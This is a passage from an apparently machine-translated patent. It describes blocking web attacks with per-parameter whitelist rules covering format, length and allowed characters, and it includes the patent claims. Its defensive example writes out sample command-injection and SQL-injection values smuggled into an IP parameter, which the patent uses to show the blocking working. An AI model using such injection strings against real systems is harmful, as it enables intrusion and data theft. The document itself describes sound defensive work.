Specifically, in performing S480, it may include: firstly, a rule white list with the highest priority is called, and validity check is carried out on the flow data. And under the condition that the flow data passes the verification of the rule white list with the highest priority or the flow data does not comprise the target parameter of the parameter type corresponding to the rule white list with the highest priority, calling the remaining rule white list one by one according to the priority order to perform validity verification on the flow data.

For example. If the application type rule white list 30a and the application type rule white list 30b are respectively created for two risk points in one service system, and after the operation and maintenance personnel evaluate the risk levels of vulnerabilities of the two risk points based on experience, setting the priority of the application type rule white list 30a to be higher than that of the application type rule white list 30b on the server 20.

Then, since the parameter types associated with the different rule whitelists 30 are different, after the server 20 receives any traffic data, it first analyzes whether the traffic data includes the target parameter of the parameter type defined in the application rule whitelist 30a, if yes, the application whitelist 30a is used to perform validity check on the traffic data, and if not, it further determines whether the traffic data includes the target parameter of the parameter type defined in the application rule whitelist 30b. Similarly, if the flow data includes the target parameter of the parameter type defined in the application rule white list 30b, the validity of the flow data is checked by using the application rule white list 30a, and if not, the flow data enters the normal processing flow. It will be appreciated that more or fewer rule whitelists may be invoked according to a set priority.

In this embodiment, after setting the calling policy of the rule white list 30, the corresponding rule white list 30 may be called to perform validity check according to the calling policy after the flow data is acquired, so as to check whether the format, length, used characters, and the like of the target parameters in the flow data conform to the definition of the rule white list 30. If the data is in accordance with the data, the data is legal, if the data is not in accordance with the data, the data is not legal.

And S490, blocking the flow data which does not pass the verification.

In the present embodiment, the server 20 performs blocking processing on traffic data that fails verification. For example, if a request fails verification, server 20 refuses to process the request and returns a client corresponding 418 state code (error response code). Alternatively, in some examples, illegal data in the request data that fails verification may be replaced or deleted, so that the request data is no longer aggressive and is then processed by the service system. The blocking process of the traffic data in this embodiment is not limited only.

Thus, if an attacker attacks a specific request against a vulnerability construction at a certain risk point, it can be determined whether the format, length, character and the like of the request data conform to the definition of the rule white list 30, and if not, the request is blocked. Similarly, if an attacker inserts special characters and the like into response data by utilizing vulnerabilities of risk points, the rule white list 30 can also be utilized to judge that the response data does not accord with legal rules, so that the processing of the response data is blocked, and the attack initiated by the response data such as HTTP response splitting attack and the like has an effective blocking effect.

For example, if there is command execution and SQL injection vulnerability in the IP parameters of the network diagnostic function on the web site P service system, the server 20 deploys a corresponding application whitelist rule to limit the transmission data, and only the IP parameter values conforming to the IP format and length are allowed to be input in the application whitelist rule.

When an attacker learns about vulnerabilities of the website P, respectively constructing a request X11 for command execution vulnerabilities: ip=127.0.0.1; pwd and request X12 for SQL injection hole: ip= 127.0.0.1'select*from user, and normal request X13 to the server 20, requesting to perform a network addition operation. After the server 20 obtains these requests X11, X12, X13, it can check through the preset application rule white list 30. It will be appreciated that the "pwd" code may look up the full path name of the current directory when executed, and the "select from user" code may look up all field data named user from all user information in MySQL database when executed.

Thus, since the request data X11, X12 respectively contain "; special characters and letters such as pwd ","' select from user ", etc. do not belong to the IP format, so the server 20 blocks these requests X11, X12, only allows processing of legal request X13 and returns response data of request X13. In this way, the attack of the malicious request data X11, X12 fails, and the effect of detecting and blocking the abnormal behavior is achieved on the server 20.

Based on the principle, the method of the embodiment not only can realize the repair of the known loopholes, but also can achieve a better protection effect on the 0day loopholes. And, compared with the method that a blacklist mechanism is utilized (namely, the attack characteristic of a certain vulnerability is written into the blacklist, the flow data contains the data of the attack characteristic recorded in the blacklist, the alarm of the vulnerability is sent out, and the flow data is blocked), the specific vulnerability is identified, and the vulnerability thermal repair mechanism realized by utilizing the whitelist in the embodiment does not need to identify the type of the vulnerability, but has indiscriminate repair capability for most vulnerabilities. In other words, since the traffic data carrying the attack load cannot necessarily meet the definition of the rule white list, the method of the embodiment has a strong repairing effect on both known and unknown vulnerabilities, and can effectively avoid the situation that an attacker bypasses the rule.

Based on the method in the above embodiment, the embodiment of the application provides a device for repairing a bug heat. Referring to fig. 6, fig. 6 is a schematic structural diagram of an apparatus according to an embodiment of the application.

As shown in fig. 6, the apparatus 600 may be, for example, a proxy server or Web server in fig. 1. The apparatus 600 may include: an acquisition module 601 and a processing module 602. The acquiring module 601 may be configured to acquire traffic data, where the traffic data includes request data or response data of the request data for a service system, and the service system includes a risk point, where the risk point is a function with a vulnerability. The processing module 602 may be configured to invoke a rule whitelist to perform validity verification on the flow data, where the rule whitelist is used to define validity rules of target parameters in the flow data, and the validity rules exclude attack features of an attack load capable of forming an attack on the vulnerability, and the target parameters are parameters to be invoked by a risk point. Furthermore, the processing module 602 may be further configured to perform blocking processing on traffic data that fails verification.

It should be understood that, the foregoing apparatus is used to perform the method in the foregoing embodiment, and corresponding program modules in the apparatus implement principles and technical effects similar to those described in the foregoing method, and reference may be made to corresponding processes in the foregoing method for the working process of the apparatus, which are not repeated herein.

Based on the method in the above embodiment, the embodiment of the application provides an electronic device. The electronic device may include: at least one memory for storing a program; at least one processor for executing programs stored in the memory; wherein the processor is adapted to perform the methods of the above embodiments when the program stored in the memory is executed.

Based on the method in the above embodiment, the embodiment of the present application provides a computer-readable storage medium storing a computer program, which when executed on a processor, causes the processor to perform the method in the above embodiment.

Based on the method in the above embodiments, an embodiment of the present application provides a computer program product, characterized in that the computer program product, when run on a processor, causes the processor to perform the method in the above embodiments.

Based on the method in the above embodiment, the embodiment of the present application further provides a chip. Referring to fig. 7, fig. 7 is a schematic structural diagram of a chip according to an embodiment of the application. As shown in fig. 7, chip 700 includes one or more processors 701 and interface circuitry 702. Optionally, chip 700 may also include a bus 703. Wherein:

the processor 701 may be an integrated circuit chip having signal processing capabilities. In implementation, the steps of the above method may be performed by integrated logic circuits of hardware in the processor 701 or by instructions in the form of software. The processor 701 described above may be a general purpose processor, a digital communicator (DSP), an Application Specific Integrated Circuit (ASIC), a Field Programmable Gate Array (FPGA) or other programmable logic device, discrete gate or transistor logic, discrete hardware components. The methods and steps disclosed in the embodiments of the present application may be implemented or performed. A general purpose processor may be a microprocessor or the processor may be any conventional processor or the like.

The interface circuit 702 may be used for transmitting or receiving data, instructions or information, the processor 701 may process using the data, instructions or other information received by the interface circuit 702, and the process completion information may be transmitted through the interface circuit 702.

Optionally, chip 700 also includes memory, which may include read only memory and random access memory, and provides operating instructions and data to the processor. A portion of the memory may also include non-volatile random access memory (NVRAM).

Optionally, the memory stores executable software modules or data structures and the processor may perform corresponding operations by invoking operational instructions stored in the memory (which may be stored in an operating system).

Alternatively, the interface circuit 702 may be configured to output the execution result of the processor 701.

It should be noted that, the functions corresponding to the processor 701 and the interface circuit 702 may be implemented by a hardware design, a software design, or a combination of hardware and software, which is not limited herein.

It will be appreciated that the steps of the method embodiments described above may be performed by logic circuitry in the form of hardware in a processor or instructions in the form of software.

It should be understood that, the sequence number of each step in the foregoing embodiment does not mean the execution sequence, and the execution sequence of each process should be determined by the function and the internal logic, and should not limit the implementation process of the embodiment of the present application. In addition, in some possible implementations, each step in the foregoing embodiments may be selectively performed according to practical situations, and may be partially performed or may be performed entirely, which is not limited herein.

It is to be appreciated that the processor in embodiments of the application may be a central processing unit (central processing unit, CPU), other general purpose processor, digital signal processor (digital signal processor, DSP), application specific integrated circuit (application specific integrated circuit, ASIC), field programmable gate array (field programmable gate array, FPGA) or other programmable logic device, transistor logic device, hardware components, or any combination thereof. The general purpose processor may be a microprocessor, but in the alternative, it may be any conventional processor.

The method steps in the embodiments of the present application may be implemented by hardware, or may be implemented by executing software instructions by a processor. The software instructions may be comprised of corresponding software modules that may be stored in random access memory (random access memory, RAM), flash memory, read-only memory (ROM), programmable ROM (PROM), erasable programmable PROM (EPROM), electrically erasable programmable EPROM (EEPROM), registers, hard disk, a removable disk, a CD-ROM, or any other form of storage medium known in the art. An exemplary storage medium is coupled to the processor such the processor can read information from, and write information to, the storage medium. In the alternative, the storage medium may be integral to the processor. The processor and the storage medium may reside in an ASIC.

In the above embodiments, it may be implemented in whole or in part by software, hardware, firmware, or any combination thereof. When implemented in software, may be implemented in whole or in part in the form of a computer program product. The computer program product includes one or more computer instructions. When loaded and executed on a computer, produces a flow or function in accordance with embodiments of the present application, in whole or in part. The computer may be a general purpose computer, a special purpose computer, a computer network, or other programmable apparatus. The computer instructions may be stored in or transmitted across a computer-readable storage medium. The computer instructions may be transmitted from one website, computer, server, or data center to another website, computer, server, or data center by a wired (e.g., coaxial cable, fiber optic, digital Subscriber Line (DSL)), or wireless (e.g., infrared, wireless, microwave, etc.). The computer readable storage medium may be any available medium that can be accessed by a computer or a data storage device such as a server, data center, etc. that contains an integration of one or more available media. The usable medium may be a magnetic medium (e.g., a floppy disk, a hard disk, a magnetic tape), an optical medium (e.g., a DVD), or a semiconductor medium (e.g., a Solid State Disk (SSD)), or the like.

It will be appreciated that the various numerical numbers referred to in the embodiments of the present application are merely for ease of description and are not intended to limit the scope of the embodiments of the present application.

Claims (10)

1. A method for thermal repair of vulnerabilities, the method comprising:

acquiring flow data, wherein the flow data comprises request data or response data of the request data of a service system, and the service system comprises risk points which are functions of a vulnerability;

invoking a rule white list to perform validity verification on the flow data, wherein the rule white list is used for defining validity rules of target parameters in the flow data, attack characteristics of attack loads capable of forming attacks on the vulnerabilities are excluded from the validity rules, and the target parameters are parameters to be invoked by the risk points;

and blocking the flow data which do not pass the verification.

2. The method of claim 1, wherein the rule white list is used to define validity rules for parameter types of the target parameters;

the calling rule white list performs validity check on the flow data, and the method comprises the following steps:

Determining the parameter type defined by the rule white list;

obtaining target parameters corresponding to the parameter types defined by the rule white list from the flow data;

and checking whether the target parameter accords with a validity rule defined by the rule white list.

3. The method according to claim 1 or 2, characterized in that the validity rules comprise at least the format, length, and character set used of the target parameters.

4. A method according to any one of claims 1-3, wherein said calling a rule white list to perform validity check on said traffic data comprises:

according to the legal rules in the rule white list, the format, the length and/or the characters of the target parameters are checked, and the legal of the target parameters is determined;

determining that the flow data is legal under the condition that the format, the length and the characters of the target parameters all accord with the legal rule;

and determining that the flow data is illegal in the case that one or more of the format, the length and the character of the target parameter do not accord with the legitimacy rule.

5. The method according to any one of claims 1-4, wherein in case of a plurality of said rule whitelists, each of said rule whitelists is used for defining validity rules of parameter types of different target parameters, and a priority order is provided between each of said rule whitelists,

The calling rule white list performs validity check on the flow data, and the method comprises the following steps:

calling a rule white list with the highest priority, and carrying out validity check on the flow data;

and under the condition that the flow data passes the verification of the rule white list with the highest priority or the flow data does not comprise the target parameter of the parameter type corresponding to the rule white list with the highest priority, calling the rest rule white list one by one according to the priority order to perform validity verification on the flow data.

6. The method according to any of claims 1-5, wherein the rule whitelist comprises a generic rule whitelist, and the legal rules of the generic rule whitelist are used to exclude attack features of attack loads capable of forming attacks on vulnerabilities existing at a plurality of risk points, the vulnerabilities being one or more, the attack loads being one or more.

7. The method according to any of claims 1-6, wherein the rule whitelist comprises an application type rule whitelist, and validity rules of the application type rule whitelist are used for excluding attack features of attack loads capable of forming attacks on vulnerabilities existing in target risk points, wherein the number of vulnerabilities is one or more, and the number of attack loads is one or more.

8. The method according to any one of claims 1-7, further comprising:

determining loopholes existing in risk points in the system and parameter types of target parameters required to be called by the risk points;

obtaining attack loads according to the loopholes of the risk points;

determining attack characteristics of the attack load;

and generating the rule white list according to the attack characteristics and the parameter types.

9. The method according to claim 8, wherein the attack feature comprises an attack code and/or a designated character;

generating the rule white list according to the attack characteristic and the parameter type, wherein the rule white list comprises the following steps:

creating a format, a length and a character set which are used and are required to be met by the target parameters of the parameter types, obtaining a rule set, and excluding the attack codes and the appointed characters in the rule set;

and generating the rule white list by the rule set.

10. A server, comprising:

at least one memory for storing a program;

at least one processor for executing the programs stored in the memory;

wherein the processor is adapted to perform the method of any of claims 1-9 when the program stored in the memory is executed.